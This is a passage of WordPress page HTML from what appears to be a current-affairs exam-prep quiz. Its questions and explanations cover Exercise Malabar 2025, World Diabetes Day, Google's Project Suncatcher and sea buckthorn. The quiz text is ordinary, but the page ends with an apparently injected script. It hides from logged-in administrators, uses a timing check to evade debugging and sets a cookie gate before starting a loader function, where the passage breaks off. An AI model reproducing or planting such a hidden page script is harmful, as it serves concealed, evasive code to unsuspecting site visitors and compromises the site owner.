has-link-color wp-elements-88 wp-block-paragraph\">3. It is a defence partnership exercise, not a military alliance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>How many of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>In NEWS: <\/strong>Australia Joins India, Japan, and U.S. for Major Quad Naval Drill, Exercise Malabar 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Exercise Malabar 2025<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-98\">\n<li>Exercise Malabar is a multinational naval exercise among the <strong>Quad nations \u2014 India, Japan, Australia, and the United States.<\/strong><\/li>\n\n\n\n<li>The 2025 edition includes Australia as an active participant, emphasizing Indo-Pacific security cooperation.<\/li>\n\n\n\n<li>It aims to strengthen naval coordination, interoperability, and operational readiness among the four countries.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Historical Background<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li>Launched in 1992 as a bilateral <strong>India\u2013US<\/strong> naval exercise. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Japan<\/strong> became a permanent member in 2015.<\/li>\n\n\n\n<li><strong>Australia<\/strong> rejoined permanently in 2020, making it a Quadrilateral exercise. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>It has since evolved into a core maritime initiative of the Quad framework.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Objective<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>To enhance interoperability among participating navies in complex maritime operations.<\/li>\n\n\n\n<li>To ensure freedom of navigation, maritime domain awareness, and a rules-based Indo-Pacific order.<\/li>\n\n\n\n<li>To strengthen trust, coordination, and joint capability in naval operations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Focus Areas in 2025<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li>Anti-Submarine Warfare (ASW): Training to detect and neutralize underwater threats.<\/li>\n\n\n\n<li>Air Defence and Electronic Warfare: Enhancing coordinated air and electronic combat operations.<\/li>\n\n\n\n<li>Replenishment at Sea (RAS): Mid-sea refueling and logistic coordination drills.<\/li>\n\n\n\n<li>Complex Tactical Maneuvers: Improving joint response to maritime threats.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Participating Nations and Forces<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-106\">\n<li>India: Indian Navy.<\/li>\n\n\n\n<li>United States: U.S. Navy\u2019s 7th Fleet under Indo-Pacific Command.<\/li>\n\n\n\n<li>Japan: Japan Maritime Self-Defense Force (JMSDF).<\/li>\n\n\n\n<li>Australia: Royal Australian Navy (RAN).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Strategic Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Strengthens the Quad\u2019s vision of a Free, Open, Inclusive Indo-Pacific (FOIP).<\/li>\n\n\n\n<li>Reinforces maritime security cooperation and collective deterrence against coercive actions in the region.<\/li>\n\n\n\n<li>Supports India\u2019s SAGAR vision (Security and Growth for All in the Region).<\/li>\n\n\n\n<li>Enhances India\u2019s role as a net security provider in the Indian Ocean Region (IOR).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Nature of the Exercise<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-110\">\n<li>It is a defence partnership exercise, not a military alliance. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Focuses on capacity building and operational synergy, not on forming a formal security bloc.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><br><strong>Q. Which of the following statements about \u2018Exercise Mitra Shakti-2023\u2019 are correct?<\/strong> <br><br>1. This was a joint military exercise between India and Bangladesh <br>2. It commenced in Aundh (Pune). <br>3. Joint response during counter-terrorism operations was a goal of this operation. <br>4. Indian Air Force was a part of this exercise. <br><br><strong>Select the answer using the code given below:<\/strong> <br><br>(a) 1, 2 and 3 <br>(b) 1, 2 and 4 <br>(c) 1, 3 and 4 <br><strong>(d) 2, 3 and 4<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-111 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/www.newsonair.gov.in\/australia-joins-india-japan-and-u-s-for-major-quad-naval-drill-exercise-malabar-2025\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/australia-joins-india-japan-and-u-s-for-major-quad-naval-drill-exercise-malabar-2025\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>8. With reference to World Diabetes Day (WDD), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">1. It is observed on 14th November every year to commemorate the birth anniversary of Sir Frederick Banting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">2. It was established jointly by the World Health Organization (WHO) and the International Diabetes Federation (IDF).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">3. India ranks among the top three countries in global diabetes burden.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>In NEWS: World Diabetes Day 2025: Morning habits that can help you control blood sugar levels naturally<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>World Diabetes Day (WDD):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>Observed every year on 14th November.<\/li>\n\n\n\n<li>Established in 1991 by the International Diabetes Federation (IDF) and the World Health Organization (WHO). <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Officially recognized by the United Nations in 2006 through UN Resolution 61\/225.<\/li>\n\n\n\n<li>The date marks the birthday of Sir Frederick Banting, co-discoverer of insulin. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Objective:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-127\">\n<li>To raise global awareness about prevention, diagnosis, and management of diabetes.<\/li>\n\n\n\n<li>To advocate universal access to diabetes care, including medicines, technology, and education.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>Theme (2025):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-129\">\n<li>The 2025 theme continues the multi-year focus on \u201cAccess to Diabetes Care: Education to Protect Tomorrow.\u201d<\/li>\n\n\n\n<li>Emphasizes the importance of empowering individuals and health workers with knowledge to manage diabetes effectively.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>Global Initiatives<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-131\">\n<li>WHO Global Diabetes Compact (2021): Targets improved prevention and access to care by 2030.<\/li>\n\n\n\n<li>Insulin@100 Campaign (2021): Marked 100 years of insulin discovery (1921\u20132021).<\/li>\n\n\n\n<li>Blue Circle Symbol: Represents unity in the global fight against diabetes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>India\u2019s Diabetes Scenario<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-133\">\n<li>India has over 100 million diabetics and 136 million pre-diabetics (ICMR\u2013INDIAB Study, 2023).<\/li>\n\n\n\n<li>India ranks among the top three countries in global diabetes burden. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Rising incidence even among younger populations and rural areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Government Initiatives in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-135\">\n<li>National Programme for Prevention and Control of Cancer, Diabetes, Cardiovascular Diseases and Stroke (NPCDCS): Screening and management at primary healthcare level.<\/li>\n\n\n\n<li>Ayushman Bharat Health and Wellness Centres (AB-HWCs): Offer free NCD screening including diabetes.<\/li>\n\n\n\n<li>Fit India Movement and Eat Right India Campaign: Promote preventive lifestyle changes.<\/li>\n\n\n\n<li>Digital initiatives: e-Sanjeevani and ABHA (Ayushman Bharat Health Account) for telemedicine and data integration.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-136 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/m.economictimes.com\/news\/new-updates\/world-diabetes-day-2025-morning-habits-that-can-help-you-control-blood-sugar-levels-naturally\/articleshow\/125296557.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/m.economictimes.com\/news\/new-updates\/world-diabetes-day-2025-morning-habits-that-can-help-you-control-blood-sugar-levels-naturally\/articleshow\/125296557.cms<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>9. Which of the following best describes the \u201csun-synchronous dawn-dusk orbit\u201d used in Project Suncatcher?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\">(a) An orbit allowing satellites to remain over the same region of Earth continuously.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\">(b) An orbit enabling nearly constant sunlight exposure for solar energy generation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(c) A geostationary orbit at ~36,000 km altitude for continuous Earth observation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">(d) A polar orbit used primarily for weather forecasting.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Answer: (b) An orbit enabling nearly constant sunlight exposure for solar energy generation.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>In NEWS: <\/strong>Google\u2019s Project Suncatcher aims to scale AI data centres in space<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\"><strong>Project Suncatcher:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-146\">\n<li>Project Suncatcher is a moonshot initiative launched by Google in 2025 to establish AI data centres in space.<\/li>\n\n\n\n<li>The project aims to address the energy and cooling challenges faced by terrestrial data centres by shifting computing infrastructure to Low-Earth Orbit (LEO).<\/li>\n\n\n\n<li>Under the project, Google plans to deploy solar-powered satellites equipped with Tensor Processing Units (TPUs) \u2014 specialised chips designed for AI workloads.<\/li>\n\n\n\n<li>These satellites will operate in a sun-synchronous dawn\u2013dusk orbit, enabling near-continuous solar energy generation. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The data centres in orbit will use free-space optical communication (laser links) to achieve high-speed data transfer between satellites and Earth.<\/li>\n\n\n\n<li>The project envisions tight satellite clusters, functioning as an interconnected orbital supercomputer for large-scale AI computations.<\/li>\n\n\n\n<li>Solar panels in orbit can generate 6\u20138 times more energy than ground-based ones due to constant sunlight and absence of atmospheric interference.<\/li>\n\n\n\n<li>Google plans to launch two prototype satellites by 2027 in collaboration with Planet Labs PBC to test hardware, networking, and radiation resistance.<\/li>\n\n\n\n<li>By moving AI compute infrastructure to space, Google aims to reduce land, water, and carbon footprint associated with Earth-based data centres.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\"><strong>Key technical challenges include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-148\">\n<li>Heat dissipation in vacuum (no convection)<\/li>\n\n\n\n<li>Satellite formation control and precise alignment<\/li>\n\n\n\n<li>Radiation shielding for chips<\/li>\n\n\n\n<li>High launch and maintenance costs<\/li>\n\n\n\n<li>Risk of space debris and orbital congestion<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><br><strong>Q. Satellites used for telecommunication relay are kept in a geostationary orbit. A satellite is said to be in such as orbit when:<\/strong> <br><br>1. The orbit is geosynchronous. <br>2. The orbit is circular. <br>3. The orbit lies in the plane of the earth\u2019s equator. <br>4. The orbit is at an altitude of 22,236 km. <br><br><strong>Select the correct answer using the codes given below:<\/strong> <br><br><strong>(a) 1, 2 and 3 only<\/strong> <br>(b) 1, 3 and 4 only <br>(c) 2 and 4 only <br>(d) 1, 2, 3 and 4<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-149 wp-block-paragraph\" style=\"color:#0026fffa\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/technology\/googles-project-suncatcher-aims-to-scale-ai-data-centres-in-space\/article70243542.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/technology\/googles-project-suncatcher-aims-to-scale-ai-data-centres-in-space\/article70243542.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>10. Government of India encourages the cultivation of \u2018sea buckthorn\u2019. What is the importance of this plant?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\">1. It helps in controlling soil erosion and in preventing desertification.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">2. It is a rich source of bio-diesel.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-153 wp-block-paragraph\">3. It has nutritional value and is well-adapted to live in cold areas of high altitudes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\">4. Its timber is of great commercial value.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">(b) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\"><strong>Explanation:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-162\">\n<li><strong>Statement 1 \u2013 Correct:<\/strong> Sea buckthorn has deep and extensive roots that help <strong>bind the soil<\/strong>, thereby <strong>preventing erosion and desertification<\/strong>. It is often planted in cold desert areas like <strong>Ladakh<\/strong> for land stabilization.<\/li>\n\n\n\n<li><strong>Statement 2 \u2013 Incorrect:<\/strong> Although its berries yield oil, this oil is <strong>not used for bio-diesel<\/strong>; it is mainly used in <strong>medicinal and cosmetic products<\/strong>.<\/li>\n\n\n\n<li><strong>Statement 3 \u2013 Correct:<\/strong> The berries of sea buckthorn are <strong>rich in vitamins (especially Vitamin C, E, and A)<\/strong> and antioxidants, making them <strong>highly nutritious<\/strong>. The plant is <strong>well adapted to cold, arid, high-altitude regions<\/strong>.<\/li>\n\n\n\n<li><strong>Statement 4 \u2013 Incorrect:<\/strong> Sea buckthorn is a <strong>small shrub<\/strong>, not a timber-yielding tree; hence, <strong>its wood has little commercial value<\/strong>.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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